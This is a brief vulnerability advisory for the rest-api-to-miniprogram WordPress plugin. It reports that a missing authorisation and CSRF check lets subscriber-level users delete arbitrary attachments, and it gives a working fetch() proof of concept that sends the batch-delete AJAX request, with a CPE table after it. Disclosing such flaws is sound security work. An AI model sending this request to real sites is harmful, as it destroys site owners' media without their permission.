The plugin does not have authorisation and CSRF checks in an AJAX action, allowing ay authenticated users, such as subscriber to call and delete arbitrary attachments
fetch(‘https://example.com/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=exopite-sof-file-batch-delete&media-ids;%5B%5D=1&media-ids;%5B%5D=1’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));
CPE | Name | Operator | Version |
---|---|---|---|
rest-api-to-miniprogram | eq | * |